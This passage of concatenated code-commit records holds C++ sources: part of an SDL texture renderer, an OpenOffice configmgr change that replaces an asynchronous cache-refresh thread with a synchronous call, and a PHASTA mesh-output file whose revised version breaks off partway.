m_renderer(nullptr),\n      m_window(window),\n      m_textures(),\n      m_texture_dir(fs::path(\"resources\")\/\"textures\")\n{\n    m_renderer = SDL_CreateRenderer(window->m_window, -1, SDL_RENDERER_ACCELERATED);\n    loadAllTextures();\n}\n\nRenderer::~Renderer()\n{\n    for (auto& entry : m_textures) {\n        if (entry.second) {\n            SDL_DestroyTexture(entry.second);\n            entry.second = nullptr;\n        }\n    }\n    if(m_renderer)\n        SDL_DestroyRenderer(m_renderer);\n    m_renderer = nullptr;\n}\n\nvoid Renderer::loadAllTextures()\n{\n    if (!fs::exists(m_texture_dir) || ! fs::is_directory(m_texture_dir)) {\n        throw std::runtime_error(\"Invalid texture directory\");\n    }\n    for (auto iter = fs::recursive_directory_iterator(m_texture_dir); \n            iter != fs::recursive_directory_iterator(); iter++) {\n        if (!fs::is_directory(iter->path())) {\n            loadTexture(iter->path());\n        }\n    }\n}\n\nvoid Renderer::loadTexture(const fs::path& path)\n{\n    SDL_Surface* surf = IMG_Load(path.c_str());\n    if (!surf) {\n        std::cerr << \"Error loading texture \" << path << std::endl;\n        return;\n    }\n    SDL_Texture* tex  = SDL_CreateTextureFromSurface(m_renderer, surf);\n    SDL_FreeSurface(surf);\n    surf = nullptr;\n    if (!tex) {\n        std::cerr << \"Error loading texture \" << path << std::endl;\n        return;\n    }\n    string basepath = m_texture_dir.c_str();\n    string name = path.parent_path().c_str();\n    name.erase(0, basepath.length());\n    if (name[0] == '\/')\n        name.erase(0, 1);\n    name.append(path.stem().c_str());\n    \n    std::cout << \"Loaded texture \" << name << std::endl;\n    m_textures[name] = tex;\n}\n\nvoid Renderer::renderScene()\n{\n    \/\/SDL_Rect viewport;\n    \/\/viewport.x=200;\n    \/\/viewport.y=200;\n    \/\/viewport.w=900;\n    \/\/viewport.h=400;\n    \/\/SDL_RenderSetViewport(m_renderer, &viewport);\n    SDL_RenderCopy(m_renderer, m_textures[\"foo\"], nullptr, nullptr);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: invalidatetree.cxx,v $\n * $Revision: 1.23 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_configmgr.hxx\"\n\n\n#include \"cachecontroller.hxx\"\n#include \"change.hxx\"\n#include \"valuenode.hxx\"\n#include \"updatehelper.hxx\"\n#include \"treeactions.hxx\"\n#include \"treeaccessor.hxx\"\n#include \"tracer.hxx\"\n#include <com\/sun\/star\/uno\/Any.hxx>\n#include <com\/sun\/star\/container\/NoSuchElementException.hpp>\n#include <vos\/thread.hxx>\n\n#ifndef INCLUDED_ALGORITHM\n#include <algorithm>\n#define INCLUDED_ALGORITHM\n#endif\n\nnamespace configmgr\n{\n\n    using namespace com::sun::star::uno;\n    using namespace configuration;\n    namespace container = com::sun::star::container;\n\/\/ -----------------------------------------------------------------------------\n\/\/ ------------------------------- invalidateTree -------------------------------\n\/\/ -----------------------------------------------------------------------------\n\nnamespace backend\n{\n\/\/ -----------------------------------------------------------------------------\nstd::auto_ptr<SubtreeChange> createDiffs(data::NodeAccess const& _aCachedNode,\n                                            ISubtree const * _pLoadedSubtree,\n                                            AbsolutePath const& _aAbsoluteSubtreePath)\n{\n    OSL_PRECOND(_aCachedNode.isValid(), \"Need an existing node to create a diff\");\n    OSL_PRECOND(_pLoadedSubtree != 0, \"Need a result node to create a diff\");\n    \/\/ Create a TreeChangeList with the right name, parentname and ConfigurationProperties\n    std::auto_ptr<SubtreeChange> aNewChange(new SubtreeChange(_aAbsoluteSubtreePath.getLocalName().getName().toString(),\n                                                                node::Attributes()) );\n\n    if (!createUpdateFromDifference(*aNewChange, _aCachedNode, *_pLoadedSubtree))\n        aNewChange.reset();\n\n    return aNewChange;\n}\n\/\/ -----------------------------------------------------------------------------\n#if 0\nstd::auto_ptr<ISubtree> TreeManager::loadNodeFromSession( AbsolutePath const& _aAbsoluteSubtreePath,\n                                                     const vos::ORef < OOptions >& _xOptions,\n                                                     sal_Int16 _nMinLevels)  CFG_UNO_THROW_ALL()\n{\n    TreeInfo* pInfo = this->requestTreeInfo(_xOptions,true \/*create TreeInfo*\/);\n\n    CFG_TRACE_INFO_NI(\"cache manager: cache miss. going to load the node\");\n    rtl::Reference< OTreeLoader > xLoader = pInfo->getNewLoaderWithoutPending(_aAbsoluteSubtreePath, _nMinLevels, _xOptions, m_xBackend.get());\n\n    OSL_ENSURE(xLoader.is(), \"Did not receive a loader for retrieving the node\");\n    CFG_TRACE_INFO_NI(\"cache manager: cache miss. going to load the node\");\n    if (!xLoader.is())\n        throw container::NoSuchElementException((::rtl::OUString::createFromAscii(\"Error while retrieving the node\")), NULL);\n\n    \/\/ now block for reading\n    std::auto_ptr<ISubtree> pResponse;\n    try\n    {\n        pResponse = xLoader->waitToResponse();\n    }\n    catch (uno::Exception& e)\n    {\n        pInfo->releaseLoader(xLoader);\n        throw;\n    }\n\n    pInfo->releaseLoader(xLoader);\n\n    return pResponse;\n}\n#endif\n\/\/ -----------------------------------------------------------------------------\n\nclass OInvalidateTreeThread: public vos::OThread\n{\n    typedef backend::ICachedDataProvider CacheManager;\n    typedef rtl::Reference< CacheManager > CacheManagerRef;\n    CacheManagerRef     m_rTreeManager;\n    Name                m_aComponentName;\n    RequestOptions      m_aOptions;\n\npublic:\n    OInvalidateTreeThread(CacheManager* _rTreeManager,\n                          Name const & _aComponentName,\n                          const RequestOptions& _aOptions)\n    : m_rTreeManager(_rTreeManager)\n    , m_aComponentName(_aComponentName)\n    , m_aOptions(_aOptions)\n    {}\n\n    ~OInvalidateTreeThread()\n    {}\n\nprivate:\n    virtual void SAL_CALL onTerminated()\n    {\n        delete this;\n    }\n\n    virtual void SAL_CALL run();\n};\n\n\/\/ -----------------------------------------------------------------------------\n\nvoid CacheController::invalidateComponent(ComponentRequest const & _aComponent) CFG_UNO_THROW_ALL(  )\n{\n    if (!this->m_bDisposing)\n    {\n        \/\/ start the InvalidateTreeThread only, if we are not at disposemode\n        if (OInvalidateTreeThread *pThread =\n            new OInvalidateTreeThread(this, _aComponent.getComponentName(), _aComponent.getOptions()))\n        {\n            pThread->create();\n        }\n        else\n            OSL_ENSURE(false, \"Could not create refresher thread\");\n    }\n\n}\n\n\/\/ -----------------------------------------------------------------------------\n\nCacheLocation CacheController::refreshComponent(ComponentRequest const & _aRequest) CFG_UNO_THROW_ALL()\n{\n    if (m_bDisposing) return NULL;\n\n    CacheRef aCache = this->getCacheAlways(_aRequest.getOptions());\n\n    if (!aCache.is()) return NULL;\n\n    \/\/ load the Node direct from the session, without using the cache\n    ComponentRequest aForcedRequest(_aRequest);\n    aForcedRequest.forceReload();\n\n    ComponentResult aLoadedInstance = this->getComponentData(aForcedRequest,false);\n    AbsolutePath aRequestPath = AbsolutePath::makeModulePath(_aRequest.getComponentName(), AbsolutePath::NoValidate());\n    NodeInstance aNodeInstance(aLoadedInstance.mutableInstance().mutableData(),aRequestPath) ;\n    NodeResult aLoadedNodeInstance(aNodeInstance) ;\n\n    data::TreeAddress aResult = NULL;\n    if (aLoadedNodeInstance.is())\n    {\n        Name aModuleName = aLoadedNodeInstance->root().getModuleName();\n\n        bool bAcquired = aCache->acquireModule(aModuleName);\n        aResult = CacheLocation( aCache->getTreeAddress(aModuleName) );\n\n        if (bAcquired)\n        try\n    {\n            std::auto_ptr<SubtreeChange> aTreeChanges;\n            data::NodeAddress aRootAddress;\n\n            {\n                data::TreeAccessor aTreeAccess(aResult);\n                data::NodeAccess aRootNode = aTreeAccess.getRootNode();\n\n                aTreeChanges = createDiffs(aRootNode, aLoadedNodeInstance->data().get(), aLoadedNodeInstance->root().location());\n                aRootAddress = aRootNode;\n            }\n\n            if (aTreeChanges.get() != NULL)\n            {\n        \/\/ change all Values... found in the Subtree in the CacheTree\n        applyUpdateWithAdjustmentToTree(*aTreeChanges, aRootAddress);\n\n                UpdateRequest anUpdateReq(  aTreeChanges.get(),\n                                            aLoadedNodeInstance->root().location(),\n                                            _aRequest.getOptions()\n                                          );\n\n                m_aNotifier.notifyChanged(anUpdateReq);\n            }\n        aCache->releaseModule(aModuleName);\n        }\n        catch (...)\n        {\n        aCache->releaseModule(aModuleName);\n            throw;\n        }\n    }\n    return aResult;\n}\n\n\/\/ -----------------------------------------------------------------------------\nvoid OInvalidateTreeThread::run()\n{\n    try\n    {\n        UnoApiLock aLock;\n        ComponentRequest aRequest(m_aComponentName, m_aOptions);\n        m_rTreeManager->refreshComponent(aRequest);\n    }\n    catch(uno::Exception&)\n    {\n        \/\/ do nothing, only thread safe exception absorb\n        CFG_TRACE_ERROR_NI(\"OInvalidateTreeThread::run: refreshing failed - ignoring the exception\");\n    }\n}\n\/\/ -----------------------------------------------------------------------------\n    } \/\/ namespace backend\n\n\/\/ -----------------------------------------------------------------------------\n} \/\/ namespace configmgr\n\n<commit_msg>INTEGRATION: CWS sb88 (1.23.10); FILE MERGED 2008\/06\/10 13:04:49 sb 1.23.10.1: #157123# replace sole (exception handling) call to asynchronous CacheController::invalidateComponent with call to synchronous CacheController::refreshComponent, to avoid multi-threading issues<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: invalidatetree.cxx,v $\n * $Revision: 1.24 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_configmgr.hxx\"\n\n\n#include \"cachecontroller.hxx\"\n#include \"change.hxx\"\n#include \"valuenode.hxx\"\n#include \"updatehelper.hxx\"\n#include \"treeactions.hxx\"\n#include \"treeaccessor.hxx\"\n#include \"tracer.hxx\"\n#include <com\/sun\/star\/uno\/Any.hxx>\n#include <com\/sun\/star\/container\/NoSuchElementException.hpp>\n\n#ifndef INCLUDED_ALGORITHM\n#include <algorithm>\n#define INCLUDED_ALGORITHM\n#endif\n\nnamespace configmgr\n{\n\n    using namespace com::sun::star::uno;\n    using namespace configuration;\n    namespace container = com::sun::star::container;\n\/\/ -----------------------------------------------------------------------------\n\/\/ ------------------------------- invalidateTree -------------------------------\n\/\/ -----------------------------------------------------------------------------\n\nnamespace backend\n{\n\/\/ -----------------------------------------------------------------------------\nstd::auto_ptr<SubtreeChange> createDiffs(data::NodeAccess const& _aCachedNode,\n                                            ISubtree const * _pLoadedSubtree,\n                                            AbsolutePath const& _aAbsoluteSubtreePath)\n{\n    OSL_PRECOND(_aCachedNode.isValid(), \"Need an existing node to create a diff\");\n    OSL_PRECOND(_pLoadedSubtree != 0, \"Need a result node to create a diff\");\n    \/\/ Create a TreeChangeList with the right name, parentname and ConfigurationProperties\n    std::auto_ptr<SubtreeChange> aNewChange(new SubtreeChange(_aAbsoluteSubtreePath.getLocalName().getName().toString(),\n                                                                node::Attributes()) );\n\n    if (!createUpdateFromDifference(*aNewChange, _aCachedNode, *_pLoadedSubtree))\n        aNewChange.reset();\n\n    return aNewChange;\n}\n\/\/ -----------------------------------------------------------------------------\n#if 0\nstd::auto_ptr<ISubtree> TreeManager::loadNodeFromSession( AbsolutePath const& _aAbsoluteSubtreePath,\n                                                     const vos::ORef < OOptions >& _xOptions,\n                                                     sal_Int16 _nMinLevels)  CFG_UNO_THROW_ALL()\n{\n    TreeInfo* pInfo = this->requestTreeInfo(_xOptions,true \/*create TreeInfo*\/);\n\n    CFG_TRACE_INFO_NI(\"cache manager: cache miss. going to load the node\");\n    rtl::Reference< OTreeLoader > xLoader = pInfo->getNewLoaderWithoutPending(_aAbsoluteSubtreePath, _nMinLevels, _xOptions, m_xBackend.get());\n\n    OSL_ENSURE(xLoader.is(), \"Did not receive a loader for retrieving the node\");\n    CFG_TRACE_INFO_NI(\"cache manager: cache miss. going to load the node\");\n    if (!xLoader.is())\n        throw container::NoSuchElementException((::rtl::OUString::createFromAscii(\"Error while retrieving the node\")), NULL);\n\n    \/\/ now block for reading\n    std::auto_ptr<ISubtree> pResponse;\n    try\n    {\n        pResponse = xLoader->waitToResponse();\n    }\n    catch (uno::Exception& e)\n    {\n        pInfo->releaseLoader(xLoader);\n        throw;\n    }\n\n    pInfo->releaseLoader(xLoader);\n\n    return pResponse;\n}\n#endif\n\/\/ -----------------------------------------------------------------------------\n\nCacheLocation CacheController::refreshComponent(ComponentRequest const & _aRequest) CFG_UNO_THROW_ALL()\n{\n    if (m_bDisposing) return NULL;\n\n    CacheRef aCache = this->getCacheAlways(_aRequest.getOptions());\n\n    if (!aCache.is()) return NULL;\n\n    \/\/ load the Node direct from the session, without using the cache\n    ComponentRequest aForcedRequest(_aRequest);\n    aForcedRequest.forceReload();\n\n    ComponentResult aLoadedInstance = this->getComponentData(aForcedRequest,false);\n    AbsolutePath aRequestPath = AbsolutePath::makeModulePath(_aRequest.getComponentName(), AbsolutePath::NoValidate());\n    NodeInstance aNodeInstance(aLoadedInstance.mutableInstance().mutableData(),aRequestPath) ;\n    NodeResult aLoadedNodeInstance(aNodeInstance) ;\n\n    data::TreeAddress aResult = NULL;\n    if (aLoadedNodeInstance.is())\n    {\n        Name aModuleName = aLoadedNodeInstance->root().getModuleName();\n\n        bool bAcquired = aCache->acquireModule(aModuleName);\n        aResult = CacheLocation( aCache->getTreeAddress(aModuleName) );\n\n        if (bAcquired)\n        try\n    {\n            std::auto_ptr<SubtreeChange> aTreeChanges;\n            data::NodeAddress aRootAddress;\n\n            {\n                data::TreeAccessor aTreeAccess(aResult);\n                data::NodeAccess aRootNode = aTreeAccess.getRootNode();\n\n                aTreeChanges = createDiffs(aRootNode, aLoadedNodeInstance->data().get(), aLoadedNodeInstance->root().location());\n                aRootAddress = aRootNode;\n            }\n\n            if (aTreeChanges.get() != NULL)\n            {\n        \/\/ change all Values... found in the Subtree in the CacheTree\n        applyUpdateWithAdjustmentToTree(*aTreeChanges, aRootAddress);\n\n                UpdateRequest anUpdateReq(  aTreeChanges.get(),\n                                            aLoadedNodeInstance->root().location(),\n                                            _aRequest.getOptions()\n                                          );\n\n                m_aNotifier.notifyChanged(anUpdateReq);\n            }\n        aCache->releaseModule(aModuleName);\n        }\n        catch (...)\n        {\n        aCache->releaseModule(aModuleName);\n            throw;\n        }\n    }\n    return aResult;\n}\n\n\/\/ -----------------------------------------------------------------------------\n    } \/\/ namespace backend\n\n\/\/ -----------------------------------------------------------------------------\n} \/\/ namespace configmgr\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"phOutput.h\"\n#include \"phLinks.h\"\n#include \"phAdjacent.h\"\n#include <PCU.h>\n\nnamespace ph {\n\nstatic void getCounts(Output& o)\n{\n  for (int i = 0; i < 4; ++i)\n    o.nGlobalEntities[i] = apf::countOwned(o.mesh, i);\n  PCU_Add_Ints(o.nGlobalEntities, 4);\n  o.nOwnedNodes = apf::countOwned(o.mesh, 0);\n  o.nOverlapNodes = o.mesh->count(0);\n  o.nGlobalNodes = o.nGlobalEntities[0];\n}\n\nstatic void getCoordinates(Output& o)\n{\n  apf::Mesh* m = o.mesh;\n  int n = m->count(0);\n  double* x = new double[n * 3];\n  apf::MeshEntity* v;\n  int i = 0;\n  apf::MeshIterator* it = m->begin(0);\n  while ((v = m->iterate(it))) {\n    apf::Vector3 p;\n    m->getPoint(v, 0, p);\n    for (int j = 0; j < 3; ++j)\n      x[j * n + i] = p[j]; \/* FORTRAN indexing *\/\n    ++i;\n  }\n  m->end(it);\n  assert(i == n);\n  o.arrays.coordinates = x;\n}\n\n\/* so apparently old phParAdapt just used EN_id,\n   and the id generator from pumi would do things\n   like this. I guess PHASTA is ok with a unique\n   number for each copy, regardless of part boundary\n   sharing... *\/\nstatic void getGlobal(Output& o)\n{\n  apf::Mesh* m = o.mesh;\n  int n = m->count(0);\n  int self = PCU_Comm_Self();\n  int peers = PCU_Comm_Peers();\n  int id = self + 1;\n  o.arrays.globalNodeNumbers = new int[n];\n  for (int i = 0; i < n; ++i) {\n    o.arrays.globalNodeNumbers[i] = id;\n    id += peers;\n  }\n}\n\nstatic void getLinks(Output& o, apf::Numbering* n)\n{\n  Links links;\n  getVertexLinks(o.mesh, links);\n  size_t size;\n  encodeLinks(n, links, size, o.arrays.ilwork);\n  o.nlwork = size;\n}\n\nstatic void getInterior(Output& o, apf::Numbering* n)\n{\n  apf::Mesh* m = o.mesh;\n  Blocks& bs = o.blocks.interior;\n  int*** ien = new int**[bs.getSize()];\n  for (int i = 0; i < bs.getSize(); ++i) {\n    ien[i] = new int*[bs.nElements[i]];\n    int t = bs.keys[i].elementType;\n    int nv = bs.keys[i].nElementVertices;\n    apf::MeshEntity* e;\n    int j = 0;\n    apf::MeshIterator* it = m->begin(m->getDimension());\n    while ((e = m->iterate(it))) {\n      if (getPhastaType(m, e) != t)\n        continue;\n      ien[i][j] = new int[nv];\n      apf::Downward v;\n      getVertices(m, e, v);\n      for (int k = 0; k < nv; ++k)\n        ien[i][j][k] = apf::getNumber(n, v[k], 0, 0);\n      ++j;\n    }\n    m->end(it);\n  }\n  o.arrays.ien = ien;\n}\n\nstatic void getBoundary(Output& o, BCs& bcs, apf::Numbering* n)\n{\n  apf::Mesh* m = o.mesh;\n  ModelBounds modelFaces;\n  int nbc = countNaturalBCs(*o.in);\n  Blocks& bs = o.blocks.boundary;\n  int*** ienb = new int**[bs.getSize()];\n  int*** ibcb = new int**[bs.getSize()];\n  double*** bcb = new double**[bs.getSize()];\n  apf::NewArray<int> js(bs.getSize());\n  for (int i = 0; i < bs.getSize(); ++i) {\n    ienb[i] = new int*[bs.nElements[i]];\n    ibcb[i] = new int*[bs.nElements[i]];\n    bcb[i] = new double*[bs.nElements[i]];\n    js[i] = 0;\n  }\n  gmi_model* gm = m->getModel();\n  gmi_ent* gf;\n  gmi_iter* git = gmi_begin(gm, m->getDimension() - 1);\n  while ((gf = gmi_next(gm, git))) {\n    apf::ModelEntity* mf = (apf::ModelEntity*)gf;\n    int* ibcbMaster = new int[2]();\n    double* bcbMaster = new double[nbc]();\n    applyNaturalBCs(gm, gf, bcs, bcbMaster, ibcbMaster);\n    apf::MeshEntity* f;\n    apf::MeshIterator* it = m->begin(m->getDimension() - 1);\n    while ((f = m->iterate(it))) {\n      if (m->toModel(f) != mf)\n        continue;\n      BlockKey k;\n      apf::MeshEntity* e = m->getUpward(f, 0);\n      getBoundaryBlockKey(m, e, f, k);\n      assert(bs.keyToIndex.count(k));\n      int i = bs.keyToIndex[k];\n      int j = js[i];\n      int nv = k.nElementVertices;\n      apf::Downward v;\n      getBoundaryVertices(m, e, f, v);\n      ienb[i][j] = new int[nv];\n      for (int k = 0; k < nv; ++k)\n        ienb[i][j][k] = apf::getNumber(n, v[k], 0, 0);\n      bcb[i][j] = new double[nbc]();\n      for (int k = 0; k < nbc; ++k)\n        bcb[i][j][k] = bcbMaster[k];\n      ibcb[i][j] = new int[2](); \/* <- parens initialize to zero *\/\n      for (int k = 0; k < 2; ++k)\n        ibcb[i][j][k] = ibcbMaster[k];\n      ++js[i];\n    }\n    delete [] ibcbMaster;\n    delete [] bcbMaster;\n    m->end(it);\n  }\n  gmi_end(gm, git);\n  for (int i = 0; i < bs.getSize(); ++i)\n    assert(js[i] == bs.nElements[i]);\n  o.arrays.ienb = ienb;\n  o.arrays.ibcb = ibcb;\n  o.arrays.bcb = bcb;\n}\n\nstatic void getBoundaryElements(Output& o)\n{\n  Blocks& bs = o.blocks.boundary;\n  int n = 0;\n  for (int i = 0; i < bs.getSize(); ++i)\n    n += bs.nElements[i];\n  o.nBoundaryElements = n;\n}\n\nstatic void getMaxElementNodes(Output& o)\n{\n  int n = 0;\n  Blocks& ibs = o.blocks.interior;\n  for (int i = 0; i < ibs.getSize(); ++i)\n    n = std::max(n, ibs.keys[i].nElementVertices);\n  Blocks& bbs = o.blocks.boundary;\n  for (int i = 0; i < bbs.getSize(); ++i)\n    n = std::max(n, bbs.keys[i].nElementVertices);\n  o.nMaxElementNodes = n;\n}\n\nstatic apf::MeshEntity* getPeriodicMaster(apf::Mesh* m, apf::MeshEntity* e)\n{\n  if ( ! m->hasMatching())\n    return e;\n  apf::Matches matches;\n  m->getMatches(e, matches);\n  if (!matches.getSize())\n    return e;\n  apf::MeshEntity* master = e;\n  int self = PCU_Comm_Self();\n  for (size_t i = 0; i < matches.getSize(); ++i)\n    if ((matches[i].peer == self)&&(matches[i].entity < master))\n      master = matches[i].entity;\n  return master;\n}\n\nstatic void getPeriodicMasters(Output& o, apf::Numbering* n)\n{\n  apf::Mesh* m = o.mesh;\n  int* iper = new int[m->count(0)];\n  apf::MeshIterator* it = m->begin(0);\n  apf::MeshEntity* e;\n  int i = 0;\n  while ((e = m->iterate(it))) {\n    apf::MeshEntity* master = getPeriodicMaster(m, e);\n    if (master == e)\n      iper[i] = 0;\n    else\n      iper[i] = apf::getNumber(n, master, 0, 0) + 1;\n    ++i;\n  }\n  m->end(it);\n  o.arrays.iper = iper;\n}\n\nstatic void getEssentialBCsOn(BCs& bcs, Output& o, gmi_ent* ge)\n{\n  Input& in = *o.in;\n  apf::Mesh* m = o.mesh;\n  int ibcMaster = 0;\n  int nec = countEssentialBCs(in);\n  double* bcMaster = new double[nec]();\n  gmi_model* gm = m->getModel();\n  bool did = applyEssentialBCs(gm, ge, bcs, bcMaster, &ibcMaster);\n  if (did) {\n    apf::MeshEntity* v;\n    apf::MeshIterator* it = m->begin(0);\n    int i = 0;\n    int& ei = o.nEssentialBCNodes;\n    while ((v = m->iterate(it))) {\n      if (m->toModel(v) == (apf::ModelEntity*)ge) {\n        o.arrays.nbc[i] = ei + 1;\n        o.arrays.ibc[ei] = ibcMaster;\n        double* bc_ei = new double[nec]();\n        for (int j = 0; j < nec; ++j)\n          bc_ei[j] = bcMaster[j];\n        o.arrays.bc[ei] = bc_ei;\n        ++ei;\n      }\n      ++i;\n    }\n    m->end(it);\n  }\n  delete [] bcMaster;\n}\n\nstatic void getEssentialBCs(BCs& bcs, Output& o)\n{\n  apf::Mesh* m = o.mesh;\n  int nv = m->count(0);\n  o.arrays.nbc = new int[nv];\n  for (int i = 0; i < nv; ++i)\n    o.arrays.nbc[i] = -1;\n  o.arrays.ibc = new int[nv]();\n  o.arrays.bc = new double*[nv];\n  o.nEssentialBCNodes = 0;\n  gmi_model* gm = m->getModel();\n  for (int d = 3; d >= 0; --d) {\n    gmi_iter* it = gmi_begin(gm, d);\n    gmi_ent* ge;\n    while ((ge = gmi_next(gm, it)))\n      getEssentialBCsOn(bcs, o, ge);\n    gmi_end(gm, it);\n  }\n}\n\nstatic void getInitialConditions(BCs& bcs, Output& o)\n{\n  Input& in = *o.in;\n  apf::Mesh* m = o.mesh;\n  apf::MeshEntity* v;\n  apf::NewArray<double> s(in.ensa_dof);\n  apf::Field* f = m->findField(\"solution\");\n  apf::MeshIterator* it = m->begin(0);\n  gmi_model* gm = m->getModel();\n  while ((v = m->iterate(it))) {\n    gmi_ent* ge = (gmi_ent*)m->toModel(v);\n    apf::getComponents(f, v, 0, &s[0]);\n\/* unfortunately, there is no way to know which\n   components this overwrites without creating\n   bad coupling between pieces of code, so we\n   call this for every vertex even though it\n   only depends on classification *\/\n    applySolutionBCs(gm, ge, bcs, &s[0]);\n    apf::setComponents(f, v, 0, &s[0]);\n  }\n  m->end(it);\n}\n\nOutput::~Output()\n{\n  delete [] arrays.coordinates;\n  delete [] arrays.ilwork;\n  delete [] arrays.iper;\n  delete [] arrays.globalNodeNumbers;\n  Blocks& ibs = blocks.interior;\n  for (int i = 0; i < ibs.getSize(); ++i) {\n    for (int j = 0; j < ibs.nElements[i]; ++j)\n      delete [] arrays.ien[i][j];\n    delete [] arrays.ien[i];\n  }\n  delete [] arrays.ien;\n  Blocks& bbs = blocks.boundary;\n  for (int i = 0; i < bbs.getSize(); ++i) {\n    for (int j = 0; j < bbs.nElements[i]; ++j) {\n      delete [] arrays.ienb[i][j];\n      delete [] arrays.ibcb[i][j];\n      delete [] arrays.bcb[i][j];\n    }\n    delete [] arrays.ienb[i];\n    delete [] arrays.ibcb[i];\n    delete [] arrays.bcb[i];\n  }\n  delete [] arrays.ienb;\n  delete [] arrays.ibcb;\n  delete [] arrays.bcb;\n  delete [] arrays.nbc;\n  delete [] arrays.ibc;\n  for (int i = 0; i < nEssentialBCNodes; ++i)\n    delete [] arrays.bc[i];\n  delete [] arrays.bc;\n}\n\nvoid generateOutput(Input& in, BCs& bcs, apf::Mesh* mesh, Output& o)\n{\n  double t0 = MPI_Wtime();\n  o.in = &in;\n  o.mesh = mesh;\n  getCounts(o);\n  getCoordinates(o);\n  getGlobal(o);\n  getAllBlocks(o.mesh, o.blocks);\n  apf::Numbering* n = apf::numberOverlapNodes(mesh, \"ph_local\");\n  getLinks(o, n);\n  getInterior(o, n);\n  getBoundary(o, bcs, n);\n  getPeriodicMasters(o, n);\n  apf::destroyNumbering(n);\n  getBoundaryElements(o);\n  getMaxElementNodes(o);\n  getEssentialBCs(bcs, o);\n  getInitialConditions(bcs, o);\n  double t1 = MPI_Wtime();\n  if (!PCU_Comm_Self())\n    printf(\"generated output structs in %f seconds\\n\",t1 - t0);\n}\n\n}\n<commit_msg>in nbc, none is 0, not -1<commit_after>#include \"phOutput.h\"\n#include \"phLinks.h\"\n#include \"phAdjacent.h\"\n#include <PCU.h>\n\nnamespace ph {\n\nstatic void getCounts(Output& o)\n{\n  for (int i = 0; i < 4; ++i)\n    o.nGlobalEntities[i] = apf::countOwned(o.mesh, i);\n  PCU_Add_Ints(o.nGlobalEntities, 4);\n  o.nOwnedNodes = apf::countOwned(o.mesh, 0);\n  o.nOverlapNodes = o.mesh->count(0);\n  o.nGlobalNodes = o.nGlobalEntities[0];\n}\n\nstatic void getCoordinates(Output& o)\n{\n  apf::Mesh* m = o.mesh;\n  int n = m->count(0);\n  double* x = new double[n * 3];\n  apf::MeshEntity* v;\n  int i = 0;\n  apf::MeshIterator* it = m->begin(0);\n  while ((v = m->iterate(it))) {\n    apf::Vector3 p;\n    m->getPoint(v, 0, p);\n    for (int j = 0; j < 3; ++j)\n      x[j * n + i] = p[j]; \/* FORTRAN indexing *\/\n    ++i;\n  }\n  m->end(it);\n  assert(i == n);\n  o.arrays.coordinates = x;\n}\n\n\/* so apparently old phParAdapt just used EN_id,\n   and the id generator from pumi would do things\n   like this. I guess PHASTA is ok with a unique\n   number for each copy, regardless of part boundary\n   sharing... *\/\nstatic void getGlobal(Output& o)\n{\n  apf::Mesh* m = o.mesh;\n  int n = m->count(0);\n  int self = PCU_Comm_Self();\n  int peers = PCU_Comm_Peers();\n  int id = self + 1;\n  o.arrays.globalNodeNumbers = new int[n];\n  for (int i = 0; i < n; ++i) {\n    o.arrays.globalNodeNumbers[i] = id;\n    id += peers;\n  }\n}\n\nstatic void getLinks(Output& o, apf::Numbering* n)\n{\n  Links links;\n  getVertexLinks(o.mesh, links);\n  size_t size;\n  encodeLinks(n, links, size, o.arrays.ilwork);\n  o.nlwork = size;\n}\n\nstatic void getInterior(Output& o, apf::Numbering* n)\n{\n  apf::Mesh* m = o.mesh;\n  Blocks& bs = o.blocks.interior;\n  int*** ien = new int**[bs.getSize()];\n  for (int i = 0; i < bs.getSize(); ++i) {\n    ien[i] = new int*[bs.nElements[i]];\n    int t = bs.keys[i].elementType;\n    int nv = bs.keys[i].nElementVertices;\n    apf::MeshEntity* e;\n    int j = 0;\n    apf::MeshIterator* it = m->begin(m->getDimension());\n    while ((e = m->iterate(it))) {\n      if (getPhastaType(m, e) != t)\n        continue;\n      ien[i][j] = new int[nv];\n      apf::Downward v;\n      getVertices(m, e, v);\n      for (int k = 0; k < nv; ++k)\n        ien[i][j][k] = apf::getNumber(n, v[k], 0, 0);\n      ++j;\n    }\n    m->end(it);\n  }\n  o.arrays.ien = ien;\n}\n\nstatic void getBoundary(Output& o, BCs& bcs, apf::Numbering* n)\n{\n  apf::Mesh* m = o.mesh;\n  ModelBounds modelFaces;\n  int nbc = countNaturalBCs(*o.in);\n  Blocks& bs = o.blocks.boundary;\n  int*** ienb = new int**[bs.getSize()];\n  int*** ibcb = new int**[bs.getSize()];\n  double*** bcb = new double**[bs.getSize()];\n  apf::NewArray<int> js(bs.getSize());\n  for (int i = 0; i < 